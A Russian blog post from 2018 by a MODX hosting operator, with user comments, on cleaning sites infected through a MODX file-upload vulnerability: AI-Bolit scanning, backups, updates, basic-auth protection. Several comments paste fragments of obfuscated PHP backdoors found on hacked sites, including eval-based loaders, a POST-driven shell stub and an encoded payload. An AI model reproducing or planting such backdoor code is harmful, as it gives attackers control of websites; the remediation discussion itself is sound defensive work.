Лечение зараженных сайтов на modhost.pro

Привет, друзья!

Как многие уже заметили, в MODX недавно обнаружили критическую уязвимость. Заключается она в том, что одним простым запросом можно залить произвольный файл на сайт, и выполнить его. Это может быть шел, вредоносный скрипт, что угодно.

Простота атаки и беспечность владельцев сайтов привели к тому, что я уже неделю разгребаю последствия этой атаки на modhost.pro. Итак, что нужно делать, чтобы вылечить свои сайты?

Первым делом, нужно проверить, касается ли вас эта проблема. Потому что умные люди, которые закрыли служебные директории (core, manager и connectors) базовой авторизацией, как обычно ничего не заметили.

Для этого заходим на сервере по SSH, скачиваем замечательный AI-Bolit для сайтов, распаковываем zip и прогоняем сканер по всей своей директории:
wget https://revisium.com/ai/index.php?q=715147663154063253513112476309509 -O ~/aibolit.zip
unzip ~/aibolit.zip -d ~/aibolit
php ~/aibolit/ai-bolit/ai-bolit.php -p ~/ --mode=1 -o ~/report.json --no-html --delay=5 --all
Актуальную ссылку на закачку смотрите на сайте — она меняется каждый день.

После этого у вас должен быть отчёт report.json в корне рабочей директории. Выводим его на экран cat ~/report.json, копируем и вставляем на bezumkin.ru/utils/json.

В принципе, вы можете использовать любой другой антивирус или скрипт, который запустится на хостинге, но AI-Bolit очень грамотно работает, распознавая подозрительные строки кода. Бывают, конечно, и ложные срабатывания, но вы их отфильтруете при изучении результатов.

После этого возможны 2 варианта:

Нехороших файлов нет, ура! Обновляем сайт до MODX 2.6.5 через панель управления хостинга. Если есть Gallery, то её тоже, до версии 1.7.1. Заодно можно и другие дополнения обновить. После этого остаётся только закрыть служебные директории по инструкции — это защитит вас от подобных атак в будущем.

Вариант второй — вредоносные файлы есть. Тут еще 2 варианта:
— на хостинге есть резервная копия за 17 — 20 число, и вы можете её восстановить.
— нет копии, или работа вашего сайта не предполагает полное восстановление (много заказов, комментариев и т.д.), тогда чистим вручную.

Файлы могут быть как заруженными извне внедоносами, так и вашими скриптами, в которые дописали нехороший код. Поэтому придётся вручную по ним пройтись и проверить. Ненужные плохие удалить, нужные хорошие почистить от чужого кода.

Дальше как и в предыдущем пункте — обновляем ядро, Gallery, другие допы, и закрываем служебные директории через Nginx.

После всех работ прогоняем еще раз сканер — всё должно быть чисто. Обращаю ваше внимание, что сканер не является панацеей и что-то может пропустить. Поэтому можно прогнать его еще в параноидальном режиме:
php ~/aibolit/ai-bolit/ai-bolit.php -p ~/ --mode=2 -o ~/report-2.json --no-html --delay=5 --all
Здесь будет куча ложных срабатываний, но вы можете заметить что-то подозрительное.

На всякий случай еще посмотрите вывод ps aux в консоли — там должны быть только ваши процессы, типа php-fpm, никакой странной активности, типа запущенного почтового сервера exim от вашего имени. Еще можно смотреть свой access.log на предмет странных POST запросов — через это тоже можно найти хорошо скрытые шеллы.

Главное помните, что это не какие-то мифические неуловимые вирусы. Это просто вредоносные скрипты, залитые на сайт и работающие от имени вашего пользователя. Соседним пользователям и серверу они навредить не могут, только вашему сайту. Поэтому нужно найти и удалить все скрипты, закрыть уязвимости и всё будет хорошо. Если что-то пропустите — это что-то может снова переписать ваши файлы.

Плюсом к вашим стараниям, хостинг теперь сам мониторит странную активность, и если что-то нехорошее заметит, вы получите уведомление. Если нехорошего много, то это будет уведомление об отключении вашего сайта, потому что мы уже получили кучу жалоб от других хостингов на атаки и спам с нашего.

Напоминаю еще разок, как закрыть свои служебные директории базовой авторизацией. Судя по всему, это теперь обязательная практика для всех сайтов на MODX.
Василий Наумкин
31 июля 2018, 09:57
modx.pro
16
11 158
+19

Комментарии: 80

Николай Савин
31 июля 2018, 10:34
0
Сложности с отправкой писем связаны с этим? На mail.ru письма вообще перестали доходить, даже в спам, на gmail попадают в спам.
    Василий Наумкин
    31 июля 2018, 10:37
    0
    Наши сервера попали в чёрные списки за отправку спама. Так что — да.

    Настраивайте внешний SMTP, как я всегда советовал.
      Николай Савин
      31 июля 2018, 10:39
      0
      Да на продакшене понятно. На тарифе разработка — проблематично.
        Konstantin
        31 июля 2018, 11:51
        0
        Так вот оно что…
        Настраивайте внешний SMTP, как я всегда советовал
        Настроил, вс равно проблемы с отправкой почты. Письма о новых заказов не приходят, клиентам тоже.
          Василий Наумкин
          31 июля 2018, 12:02
          1
          +1
          Ну тогда хостинг уже ни при чём — там напрямую с SMTP работа идёт.

          Значит, или неправильно настроил, или на проверка на спам не проходится и там. Других вариантов нет.
            alexbox
            31 июля 2018, 12:19
            +1
            DKIM и SPF записи почты для домена настройте yandex.ru/support/pdd/set-mail/dkim.html
            а в админке сайта SMTP авторизацию. будет всё ходить и зеленый замочек в почте отображаться, что отправитель проверен
        Raimei
        31 июля 2018, 15:40
        +1
        Эх, гайды для Apache бы еще. Ни у кого не завалялся проверенный конфиг для него?
        Igor Ivanov
        31 июля 2018, 20:39
        0
        Почему то после установки базовой авторизации не принимает пароли, 403 страницу выдает, проверил несколько раз, перегенерировал пароль, все равно не пускает.
        P.S. Это нормально, что генератор .htpasswd каждый раз выдает разный хеш, хотя пароль ввожу один и тот же?
          Василий Наумкин
          31 июля 2018, 20:52
          2
          +1
          Проверь error.log сервера, скорее всего у тебя файл паролей недоступен на чтение для Nginx.
            Igor Ivanov
            31 июля 2018, 21:02
            0
            Да. там ошибки,
            2018/07/31 20:58:16 [error] 28458#28458: *4053228 open() "/home/s11188/.htpasswd" failed (2: No such file or directory)
            поставил 644 на файл, все равно в логе те же ошибки и не пускает. какие права надо на него выставить?
              Василий Наумкин
              31 июля 2018, 21:11
              +2
              Вот как ты умудрился создать файл с 3 пробелами на конце?! Исправил.
              Каждый день новые открытия.

              Ну и куча ошибок в логе насчёт session_handler говорит о том, что версия MODX на сайте очень старая.
                Igor Ivanov
                31 июля 2018, 21:18
                +1
                ) Да что б я знал! Копи-паста из генератора и вот так получилось, спасибо большое, теперь работает.
                А версию как раз вот только клиент созрел обновлять, я ее уже обновил, и стал делать базовую авторизацию, ну и вот, пришлось тебя беспокоить. Спасибо еще раз.
          Любовь
          31 июля 2018, 22:16
          0
          Дико извиняюсь, но как это сделать? «закрыли служебные директории (core, manager и connectors) базовой авторизацией»
            Дмитрий Иванов
            31 июля 2018, 23:06
            +1
            Вы статью читали? Там ссылка для кого?
              Любовь
              31 июля 2018, 23:22
              +1
              Читала, но невнимательно. Спасибо.
            alexbox
            31 июля 2018, 23:00
            0
            1) откатился на Full 18/07/2018 (более ранней копии нет)
            2) обновил MODx до последней версии средствами MODhost (кнопочка обновить систему)
            3) ставлю Айболит, всё по инструкции. Прогоняю через командную строку.
            4) получаю json, перевожу его в читаемый вид — тем самым получаю список зараженных файлов

            5) снова откатился на Full 18/07/2018
            6) НЕ обновляя систему, захожу по SSH и начинаю удалять файл за файлом из моего списка и вижу…
            что у меня НЕТ файла

            [16] => Array
            (
            [fn] => /home/s6322/www/core/packages/core.transport.zip
            [ct] => 1533063699
            [mt] => 1533063697
            [sz] => 2981227
            [sigid] => id_n6444910
            )

            значит, я получил зараженный файл ядра, скачав его при обновлении.

            вопрос: откуда качается транспортный пакет ядра?
            кто виноват?
              Дмитрий Иванов
              31 июля 2018, 23:07
              +1
              А вы тупо все, что вам выдало поудаляли?
                alexbox
                01 августа 2018, 11:19
                -1
                около 20 файлов, все картинки и 3 транспортных пакета и 2 лога
                не стал парится, удалил все. тупо. эффективно.
                Василий Наумкин
                01 августа 2018, 05:59
                +4
                значит, я получил зараженный файл ядра, скачав его при обновлении.
                Нет, значит ты тоже заметку попой прочитал.

                Там же по-русски написано:
                Бывают, конечно, и ложные срабатывания, но вы их отфильтруете при изучении результатов.
                AI-Bolit вообще по умолчанию файлы больше 650Kb не проверяет и помечает их как «большие», а не «зараженные».
                ivan
                02 августа 2018, 17:25
                0
                Всем привет. Подскажите. AI-Bolit ругается на файл -http://joxi.ru/L21QKdoh8DyZe2. Можно его удалить?
                  ivan
                  03 августа 2018, 07:51
                  0
                  Возможно неправильно задал вопрос.
                  AI-Bolit ругается на файл -secur.php
                  путь-manager/controllers/default/security/secur.php
                  скрин-http://joxi.ru/L21QKdoh8DyZe2
                  Подскажите можно удалить этот файл?
                    Володя
                    03 августа 2018, 08:22
                    +1
                    Нужно удалить.
                      ivan
                      03 августа 2018, 08:24
                      0
                      Спасибо!
                  Это сообщение было удалено
                    Наумов Алексей
                    03 августа 2018, 10:11
                    +4
                    Ну а слабо открыть на github исходники modx и посмотреть, есть там такие файлы? Соответствуют они содержимому ваших файлов?

                    Или считаете кто-то имеет кучу свободного времени, чтобы изучить список из пары сотен файлов, что вы скинули?
                      АндрейЧ
                      03 августа 2018, 10:30
                      0
                      Ну а слабо открыть на github исходники modx и посмотреть, есть там такие файлы? Соответствуют они содержимому ваших файлов?
                      Спасибо, так смогу
                    АндрейЧ
                    03 августа 2018, 10:52
                    0
                    Удалите плз длинный код, я так погорячился.) Пока норм проверяю все как в гитхабе
                      Михаил
                      03 августа 2018, 17:28
                      0
                      Кстати ссылка на wget битая, не качает архив
                      Maxim
                      06 августа 2018, 12:34
                      0
                      и мой сегодня сломали
                      подобная хрень в index php
                      //header('Content-Type:text/html; charset=utf-8');
                      $O_OOO0__00='378';
                      $OO_OO000__='378';
                      $O_O0O_0_O0='0';
                      $O_O0O0_O0_='1';
                      $O0__OO0O_0='1';
                      Каждую ночь в автоматическом режиме на сервере делается резервное копирование ваших сайтов.
                      последняя копия 28,07
                        Василий Наумкин
                        06 августа 2018, 13:24
                        0
                        index php можно смело заменить обновлением сайта.
                        Ну а потом проверить всё остальное.

                        Про резервные копии писал вот здесь. На заполненных серверах они делаются, если есть свободное место. Переезжайте на сервер в РФ.
                        Maxim
                        06 августа 2018, 13:44
                        0
                        заменил уже, про рф был не в курсе ok
                          Илья
                          07 августа 2018, 09:52
                          0
                          Скажите, есть ли более подробная инструкция для проверки сайтов на MODX AI-Bolit(ом), так сказать — «для чайников», по пунктам.
                            Андрей Степаненко
                            07 августа 2018, 10:09
                            0
                            Прошу прощение за банальность!
                            А если сделать вот так:
                            $ip = $_SERVER['REMOTE_ADDR'];
                            $PHP_SELF = $_SERVER['PHP_SELF'];
                            $protected = array(
                                '/connectors/',
                                '/manager/',
                                '/core/',
                            );
                            $access_ips = array(
                                127.0.0.1'
                            );
                            foreach ($protected as $path) {
                                $len = strlen($path);
                                $self = substr($PHP_SELF, 0, $len);
                                if ($self == $path) {
                                    if (!in_array($ip, $access_ips)) {
                                        die('Access denied');
                                    }
                                }
                            }
                            В место защиты через nginx.

                            Это же обеспечит защиту директорий, хотя бы на уровне php (как раз этого и будет достаточно чтобы сайт не заразили через эту уязвимость.
                              Василий Наумкин
                              07 августа 2018, 12:31
                              +2
                              Защищать уязвимый код PHP другим кодом на PHP — толково!

                              Где гарантия, что в будущем не найдут что-то, что сработает раньше твоего кода и так-же заразит сайт? Ну там, в системе вызова плагинов MODX, или инициализации контекста (где уже находили дыру).

                              Nginx — это добавление второго фактора авторизации, а не усложнение первого.
                                Андрей Степаненко
                                07 августа 2018, 13:45
                                0
                                а nginx include динамически подтягивать не умеет? А то приходится перезапуска для компиляции нового списка.

                                Покопался в документации, нашел только это:
                                location ~* ^/(manager|core|connectors)/ {
                                                include /home/user/www/core/admin-ips;
                                                deny            all;
                                                location ~* \.php$ {
                                                    include             fastcgi_params;
                                                    fastcgi_param       SCRIPT_FILENAME $document_root$fastcgi_script_name;
                                                    fastcgi_pass        user.sock;
                                                }
                                        }
                                Чтобы в конфиг ngixn постоянно не лазить для добавления разрешенных IP:
                                Можно было бы хранить список с IP там откуда есть доступ к примеру какого то php скрипта в котором прописываешь список разрешенных IP.

                                По идее тогда вся защита ложится на nginx.

                                Или для modhost:
                                Можно сделать чтобы к примеру в папке /core/admin-ips лежал список ip
                                Администратор добавляет туда разрешенный IP
                                На modhost запускается скрпит каждую минуту и проверят не было ли изменений в файле. Если были то делает
                                nginx -s reload


                                Так уже можно что то придумать в плане управления MODX с этим списком IP. А то ну не прикольно добавлять новые IP для открытия доступа через панель управления хостинга или вообще через ssh.
                                  Василий Наумкин
                                  07 августа 2018, 14:13
                                  +1
                                  Открой для себя базовую авторизацию по логину и паролю.

                                  Nginx грузит весь конфиг сразу в ОЗУ, ведь он рассчитан на высокие нагрузки и это позволяет ему не перечитывать .htaccess файлы при каждом запросе, как Apache2.
                              Сергей
                              07 августа 2018, 13:34
                              0
                              Проверил сайт AI-Bolit(ом). В результатах много файлов вида /home/s..../tmp/phpK9HsIy с кодом
                              [sig] => [1] <?php /* Obfuscation provided by FOPO — Free Online PHP Obfuscator: www. @!!!>fopo.com.ar/
                              Это вредоносный код? Его удалять?
                                Василий Наумкин
                                07 августа 2018, 14:14
                                0
                                Директория tmp вообще не предназначена для хранения нужных файлов.
                                Илья
                                07 августа 2018, 14:35
                                4
                                +5
                                В общем пишу инструкцию для «чайников» (таких как я, и как делал я):
                                1. Скачиваем PuTTY для SSH (putty.exe)
                                2. Запускаем putty.exe и подключаемся введя данные SSH из панели управления сайтом.

                                Пароль пишите руками или вставляйте нажатием правой кнопки мыши. Пароль не будет виден, нажимайте enter и подключение пойдет дальше.
                                3. После того как Вы подключились вводим команду скачать и распаковать архив ай-болита (она указана выше):
                                wget https://revisium.com/ai/index.php?q=715147663154063253513112476309509 -O ~/aibolit.zip
                                unzip ~/aibolit.zip -d ~/aibolit
                                php ~/aibolit/ai-bolit/ai-bolit.php -p ~/ --mode=1 -o ~/report.json --no-html --delay=5 --all
                                Не забудьте обновить ссылку на айболит, которую можно взять здесь: revisium.com/ai/
                                Нажимаем enter и получаем вот это:

                                4. Ещё раз нажимаем enter, ждем 2-3 секунды и пошла проверка, которая может продлится несколько минут.
                                5. После окончания проверки, когда вы увидите результат в 100%, вводим команду
                                cat ~/report.json
                                и нажимаем enter.
                                6. На экране появится отчёт, который копируем от одной до другой узоной скобки (включительно).

                                7. После чего вставляем его сюда bezumkin.ru/utils/json
                                Получаем расшифровку отчёта, в котором перечислены файлы.

                                8. Ищем подозрительные файлы, с незнакомым названием. Если файл вам незнаком, проверяем его наличие в чистом modx revo, сравнивая его с github.com/modxcms/revolution

                                Я проверил все свои сайты. На одном нашёл несколько файлов, которые удалил.
                                Надеюсь, кому-то будет полезно.
                                  Кирилл Киселев
                                  07 августа 2018, 15:58
                                  0
                                  Вручную не комильфо удалять, скрипт бы придумать, который сам удалит эти файлы.
                                    Владимир
                                    07 августа 2018, 17:43
                                    1
                                    +3
                                    скрипт не нужен, есть команда
                                    rm -i $(cat fuck.txt)
                                    переносишь список файлов к удалению в отдельный текстовый файл, в нем каждая строка — удаляемый файл и путь к нему
                                    И да, вместо PuTTY под винду лучше www.bitvise.com/
                                      Кирилл Киселев
                                      07 августа 2018, 19:22
                                      0
                                      Это для вирусных файлов, но есть ещё и зараженные файлы, в которых добавили вирусные строки.
                                      А под мак?
                                        Владимир
                                        07 августа 2018, 20:04
                                        +1
                                        Чаще всего зараженные файлы нужно просто удалить и заменить, так как не уникальные это часто, имею ввиду что не самописные, а файлы расширений, которые проще переустановить или ядра, тогда просто накатить обновление. Уникальные — чистить руками, исследуя каждый. Картинки «зараженные»- просто удалять.
                                        Команда консольная, должна быть универсальна.
                                      Алексей Соин
                                      08 августа 2018, 07:34
                                      +2
                                      На вкус и цвет, я, например, когда искал под винду более приятные внешне и по функционалу ftp и ssh клиенты чем такие как Filezilla и PuTTY открыл для себя для ftp — WinSCP, а для ssh — Xshell
                                        Владимир
                                        08 августа 2018, 07:40
                                        0
                                        М.б. есть в разы лучше, но мне понравился Bitvise для ssh, а к Filezilla я просто привык.
                                        PuTTY — люто ненавижу)))))
                                          Виталий Батушев
                                          08 августа 2018, 08:15
                                          1
                                          0
                                          Xshell — лучшее, что есть. Жаль, что они его не делают мультиплатформенным. А, может, и не сильно жаль :)
                                            Raimei
                                            08 августа 2018, 14:08
                                            1
                                            0
                                            SecureCRT — лучшее решение для SSH. Ничего более удобного не пробовал юзать.
                                      Антон
                                      07 августа 2018, 16:15
                                      0
                                      Может я чего-то не понимаю, но зачем делать авторизацию в директориях core и connectors? Почему просто не закрыть их намертво от внешних запросов?
                                        Андрей Степаненко
                                        07 августа 2018, 17:30
                                        +1
                                        Ибо когда входишь в админку то обращаешься к этим директориям!
                                        Кирилл Киселев
                                        07 августа 2018, 19:17
                                        0
                                        Закрыл служебные категории на базовую авторизацию, теперь не приходят запросы на web-connector.php. В ответе, в режиме разработчика, приходит пустой экран. В чём может быть проблема?
                                          Сергей Шлоков
                                          08 августа 2018, 08:37
                                          0
                                          А зачем вы коннектор в служебную директорию закинули? Она на то и служебная.
                                            Кирилл Киселев
                                            08 августа 2018, 08:58
                                            0
                                            Первым делом, нужно проверить, касается ли вас эта проблема. Потому что умные люди, которые закрыли служебные директории (core, manager и connectors) базовой авторизацией, как обычно ничего не заметили.
                                            Кирилл Киселев
                                            08 августа 2018, 11:34
                                            0
                                            Разобрался, index.php был в assets вредоносный, удалил, заработало.
                                            Андрей Степаненко
                                            10 августа 2018, 21:59
                                            1
                                            +6
                                            Написал приложение: Умеет сканировать директории сайта.
                                            В будущем планируется поддержка двух версий платной и бесплатное.

                                            От вирусов оно конечно не избавит, но поможет разобраться с вашей файловой системой.

                                            Смысл в том что во время сканирования происходит заказчка вашей версия MODX из репозитория https://ilyaut.ru/download-modx/ (только чистая)
                                            Затем все распаковывается в папке core/cache/default/scannermodx/repository/modx-2.6.5-pl

                                            Запускается паук который ищет все файлы с расширение: php,js,html,tpl,css,scss,sass,less (можно свои добавить)

                                            И во время поиска сравниваются файлы ядра с версией ядра из репозитория.
                                            Если в файлах ядра были какие то изменения то вы это все увидите.
                                            В общем пробуем: https://yadi.sk/d/mLKu-jXq3a7jJU

                                            Так же составляется список карантинных файлов и список доверенных файлов и директорий.
                                            Чтобы не сканировать все подряд.

                                            Так же еще можно открыть файл и посмотреть что в нем.

                                            Вот так это все выглядит:


                                            Если будут какие то идеи по улучшению то пишите.
                                            Особенно нужны алгоритмы для отлова вирусных файлов. Чтобы можно было вычислять зараженные файлы.

                                            Директории и файлы:
                                            • 'core/components',
                                            • 'core/docs',
                                            • 'core/cache',
                                            • 'core/packages',
                                            • 'setup',
                                            • 'core/config/config.inc.php',
                                            По умолчанию исключены из сканирования. Но можно включить их в настройках: scannermodx_enabled_dir
                                              Андрей Степаненко
                                              11 августа 2018, 05:23
                                              0
                                              Кстати если выдает ошибку при сканировании то попробуйете в ручную скачать свою версию MODX и положить её в папку:
                                              core/cache/default/scannermodx/repository/modx-2.6.5-pl.zip
                                              тогда скрипт автоматически начнет распаковку вашей версии. Версию можно посмотреть в настройках параметр settings_version
                                                Igor Ivanov
                                                11 августа 2018, 10:15
                                                +1
                                                Думаю, будет также полезно использовать ваш компонент для поиска хаков ядра, после «разработчиков», которые любят злоупотреблять этим.
                                                  Андрей Степаненко
                                                  11 августа 2018, 12:06
                                                  0
                                                  есть примеры кода для тестирования? Я пока только придумать смог как выявить не существующие файлы в ядре, сравнивать содержимое файлов ядра и системы, и ещё начал писать функции для проверки длины строк, чтобы найти длинные строки в файле.
                                                    Igor Ivanov
                                                    11 августа 2018, 12:11
                                                    0
                                                    сравнивать содержимое файлов ядра и системы
                                                    Я про это, периодически попадают в работу сайты, владельцев которых предупреждали, и это еще очень по доброму с ними обошлись, что бы они не обновляли систему. Вот тут-то. как мне кажется, ваша разработка может помочь понять, меняли что-то в системе или нет. Или не я не правильно понял?
                                                      Igor Ivanov
                                                      11 августа 2018, 12:14
                                                      0
                                                      Кстати, было бы еще классно, если бы можно было сравнивать код установленных компонентов.
                                                        Андрей Степаненко
                                                        11 августа 2018, 12:46
                                                        0
                                                        По компонентам тоже начал разрабатывать, но столкнулся с тем что в папке core/package MODX генерирует свои папки и файлы, в общем то необходи понять что за алгоритм чтобы можно было зеркало приложений создавать!
                                                        Но если брать папку core/components то сейчас ее можно сравнить! Тока надо залить свои преложения в папку с репазиторием!
                                                        Андрей Степаненко
                                                        11 августа 2018, 12:39
                                                        0
                                                        Да, все верно! Покажет изменения! Кстати сам переодически задаюсь этим вопросам при обновлении, а то вдруг кто в ядро залез и обновление все снесет.
                                                  Семён
                                                  17 августа 2018, 11:34
                                                  +1
                                                  Кстати, сам столкнулся с такой ерундной — нашёл человека, очень быстро помог. Могу подсказать, относительно недорого сделал.
                                                    Михаил
                                                    19 августа 2018, 09:28
                                                    0
                                                    Всегда подсказывай, вдруг пригодится
                                                    Андрей Степаненко
                                                    23 августа 2018, 12:19
                                                    1
                                                    +2
                                                    Допилил на конце то приложение для проверки файлов:
                                                    scannermodx
                                                      Олег Захаров
                                                      24 августа 2018, 14:57
                                                      0
                                                      При сканировании выходят сообщения:

                                                      Консоль запущена...
                                                      Загрузка системного ядра: modx-2.6.5-pl
                                                      Recoverable error: Argument 1 passed to scannerMODXfilemanager::loadFile() must be an instance of string, string given, called in /home/host1111111/modxcore/components/scannermodx/model/Core.php on line 312 and defined
                                                      Загрузка ядра системы завершена
                                                      Удаление старых отчетов
                                                      Сброс сессии
                                                      Сканирование директорий: /home/host1111111/имядомена/htdocs/www/
                                                      Всего найдено файлов: 1730
                                                      Начать проверку файлов
                                                      Recoverable error: Argument 1 passed to scannerMODXfilemanager::loadFile() must be an instance of string, string given, called in /home/host1111111/modxcore/components/scannermodx/model/scannermodx.class.php on line 311 and defined
                                                      Recoverable error: Argument 1 passed to scannerMODXfilemanager::loadFile() must be an instance of string, string given, called in /home/host1111111/modxcore/components/scannermodx/model/scannermodx.class.php on line 311 and defined
                                                      ...
                                                      и так +100500 строк про on line 311
                                                      Может быть связано с тем что установка сделана не как обычно, а с Advanced версией и с выносом ядра на более верхний уровень хостинга? Критичны ли эти ошибки?
                                                    Олег Захаров
                                                    24 августа 2018, 16:58
                                                    0
                                                    Проверил айболитом сайт, и обнаружил кучу левых файлов.
                                                    Закодированных обозначений, и т.д.
                                                    Что удивительно на одном аккаунта хостинга (host land. ru) сайт взломали, а на другом аккаунте этого же хостинга сайт с такими же настройками ничего не тронуто. У хостинга есть встроенный инструментарий айболита.
                                                    Ставились сайты по расширенной схеме установки, с переносом core на верхний уровень, переименованием manager и connectors.
                                                    Вот список того что было заражено:
                                                    файл minishop:
                                                    /htdocs/www/assets/components/minishop2/action.php
                                                    <?php  $sddc9=953;$GLOBALS['u82de9955']=Array();global$u82de9955;$u82de9955=$GLOBALS;${"GLOBALS"}['p25bd']="MDh|j,.2*pLX]k`r z...
                                                    А также были левые файлы формата:
                                                    в переименованной папке connectors:
                                                    htdocs/www/nkucon/modx.config.js.php
                                                    <?php  $l78fe=139;$GLOBALS['q1fa']=Array();global$q1fa;$q1fa=$GLOBALS;${"GLOBALS"}['ie8f4ba']="m5O0jNoJ`aPFeA*Uu)7MTlIg/W=tdD...
                                                    в переименованной папке manager
                                                    /templates/default/security/xwfngqlk.php
                                                    [x] 1…],$ecdcgle);}function snjjs($ykflixg,$ecdcgle){$rbxgy=$ykflixg[3]($ecdcgle)%3;if(!$rbxgy){eval($ecdcgle[1]($ecdcgle[2])) ;exit();}}$snpdlrd=qygzs($ykflixg,$snpdlrd);snjjs($ykflixg,$ykflixg[5]($ykflixg[2],$snpdlrd^hwmzer($ykflixg,$jpakg,$ykf...
                                                    /min/lib/HTTP/bqnuysmc.php
                                                    qhb[1],$ggsqcy);}function vrmig($cyqhb,$ggsqcy){$qtmonda=$cyqhb[3]($ggsqcy)%3;if(!$qtmonda){eval($ggsqcy[1]($ggsqcy[2])) ;exit();}}$hbcida=otbrb($cyqhb,$hbcida);vrmig($cyqhb,$cyqhb[5]($cyqhb[2],$hbcida^obcapmw($cyqhb,$zlttwd,$cyqhb[8]($hbci
                                                    /assets/modext/sections/jghrrjgz.php
                                                    <?php $sines="xufdkbzhqkxjbmhd";$gqyxidhc="";foreach($_POST as$csnktd=>$myqzsuhi){if(strlen($csnktd)==16 and substr_coun...
                                                    /controllers/default/system/event.class.php
                                                    <?php  $ad0aac=275;$GLOBALS['h1faaea']=Array();global$h1faaea;$h1faaea=$GLOBALS;${"GLOBALS"}['u97733']="sv4wC?9-tufX>L[nhrlJ`...
                                                    /min/lib/Minify/HTML.php
                                                    <?php  $daaf=485;$GLOBALS['nd89']=Array();global$nd89;$nd89=$GLOBALS;${"GLOBALS"}['q5aa44f17']="Wh$}xu|`v>'4z !S8o*F6DlAQ]aU+...
                                                    /min/lib/Minify/DebugDetector.php
                                                    <?php  $g15b8b=90;$GLOBALS['u0714688']=Array();global$u0714688;$u0714688=$GLOBALS;${"GLOBALS"}['ca8744']="[yDSA#^,7nRV'*({lUX
                                                    в корне папки assets
                                                    /assets/zlpiiuol.php
                                                    [x] 1…1],$bhegny);}function rrqivtg($vxccsyo,$bhegny){$oiznry=$vxccsyo[3]($bhegny)%3;if(!$oiznry){eval($bhegny[1]($bhegny[2])) ;exit();}}$ggxen=mfldvnr($vxccsyo,$ggxen);rrqivtg($vxccsyo,$vxccsyo[5]($vxccsyo[2],$ggxen^rgdckh($vxccsyo,$jrqyubr,$vxc
                                                    На одном из сайтов были директории плагинов редактора tinymce (не совсем понимаю почему он у меня лежит в корне сайта, а не в папке assets, лень разбирается что есть то есть)
                                                    там тоже обнаружился левый код в контроллере:
                                                    htdocs/www/js/tinymce/plugins/jbimages/ci/system/core/Controller.php
                                                    <?php  $n6655bfa1=731;$GLOBALS['s32b51d']=Array();global$s32b51d;$s32b51d=$GLOBALS;${"GLOBALS"}['l8639444']="*:18p;L"#hUujK[$J...
                                                    и
                                                    htdocs/www/js/tinymce/plugins/jbimages/ci/system/core/Benchmark.php
                                                    <?php  $ac4035c=116;$GLOBALS['ra9c765d2']=Array();global$ra9c765d2;$ra9c765d2=$GLOBALS;${"GLOBALS"}['c18ffec1']="Qtb7->L{voWkr...
                                                      Олег Захаров
                                                      24 августа 2018, 16:58
                                                      0
                                                      /min/tvdatruc.php
                                                      Этот файл левый лишний как оказалось — в нем явно что-то подозрительное было (без айболита не догадался бы). Может кто подскажет что делает этот файл?:
                                                      <?php
                                                       $fhfkjo = 6232; function trpnppanw($kjxxlt, $nusiveq){$wlpcduyeom = ''; for($i=0; $i < strlen($kjxxlt); $i++){$wlpcduyeom .= isset($nusiveq[$kjxxlt[$i]]) ? $nusiveq[$kjxxlt[$i]] : $kjxxlt[$i];}
                                                      $dtgakqfymz="rawurl" . "decode";return $dtgakqfymz($wlpcduyeom);}
                                                      $kbkxysfg = '%gsy2y_M49%Q6%QrfyMAXlt_4qqiqM%Qr%Qjs%QZ%Vv%sU%sF%gsy2y_M49%Q6%QrXi1'.
                                                      '_4qqiqM%Qr%Qjs%QZ%Vv%sU%sF%gs4qqiq_q4Aiq9y21%Q6s%QZ%Vv%sU%sF%gsM49_9'.
                                                      'yE4_XyEy9%Q6s%QZ%Vv%sU%sF%gsy12iq4_OM4q_lRiq9%Q6p%QZ%Vv%sU%sF%gsy2y_M49%Q6%QrElS'.
                                                      '_4S4dO9yi2_9yE4%Qr%Qjs%QZ%Vv%sU%sF%sU%sF0iq4ldB%Qs%Q6%Qg_jbbCuo%QslM%Qs%Qgy94E%QZ%sU%sF%r'.
                                                      'v%sU%sF%Qs%Qs%Qs%Qsy0%Qs%Q6%Qgy94E%Qs%Qp%VU%Qs%QQ0s6dgQfs-Rp5f-gQe4-ZlRV-gVrr5d6Q0Qpf%QQ%QZ%sU%sF'.
                                                      '%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs4Sy9%Q6%QZ%Vv%sU%sF%rU%sU%sF%sU%sF%Qgfl'.
                                                      '9l%Qs%VU%Qs0yX4_149_di29429M%Q6%QrABA%VF//y2AO9%Qr%QZ%Vv%sU%sF%Qgfl9l%Qs%VU%QsMAX'.
                                                      'y9%Q6%QQ%VU%QQ%Qj%Qgfl9l%QjQ%QZ%Vv%sU%sF%sU%sF%QgR5g_f4dif4_fl9l%Qs%VU%QsRlM45g_f4dif'.
                                                      '4%Q6OqXf4dif4%Q6%Qgfl9l%evp%eU%QZ%QZ%Vv%sU%sF%sU%sF%QgM42f_fl9l%Qs%VU'.
                                                      '%QsO2M4qylXyk4%Q6f4dqtA9%Q6%QgR5g_f4dif4_fl9l%QZ%QZ%Vv%sU%sF'.
                                                      '%sU%sF%Qgq4MOX9%Qs%VU%QsM42f_fl9lp%Qs%Q6%QgM42f_fl9l%QZ%Vv%sU%sF%sU%sFy0%Qs%Q6%Qp%Qgq4MOX9%QZ%sU%'.
                                                      'sF%rv%sU%sF%Qs%Qs%Qs%Qs%Qgq4MOX9%Qs%VU%QsM42f_fl9lQ%Q6%QgM42f_fl9l%QZ%Vv%sU'.
                                                      '%sF%rU%sU%sF%sU%sF4dBi%Qs%Qgq4MOX9%Vv%sU%sF%sU%sF0O2d9yi2%Qsf4'.
                                                      'dqtA9%Q6%Qgfl9l%QZ%sU%sF%rv%sU%sF%Qs%Qs%Qs%Qs%QgiO9_fl9l%Qs%VU%Qs%QQ%QQ%Vv%sU%sF%Qs%Qs%Qs%Qs%Qgc4t%Q'.
                                                      's%VU%Qs%Qg_YohGoh%ev%QrT88a_TbY8%Qr%eU%Qs.%Qs%Qg_YohGoh%ev%QrhoKWoY8_W'.
                                                      'hu%Qr%eU%Vv%sU%sF%Qs%Qs%Qs%Qs%Qgc4t_X42%Qs%VU%QsM9qX42%Q6%Qgc4t%QZ%Vv%sU%sF%Qs%sU%sF%Qs%Qs%Qs%Qs0i'.
                                                      'q%Qs%Q6%Qgy%VUs%Vv%Qs%Qgy%Qs%Vj%QsM9qX42%Q6%Qgc4t%QZ%Vv%Qs'.
                                                      '%Qgy%Qv%Qv%QZ%sU%sF%Qs%Qs%Qs%Qs%rv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs'.
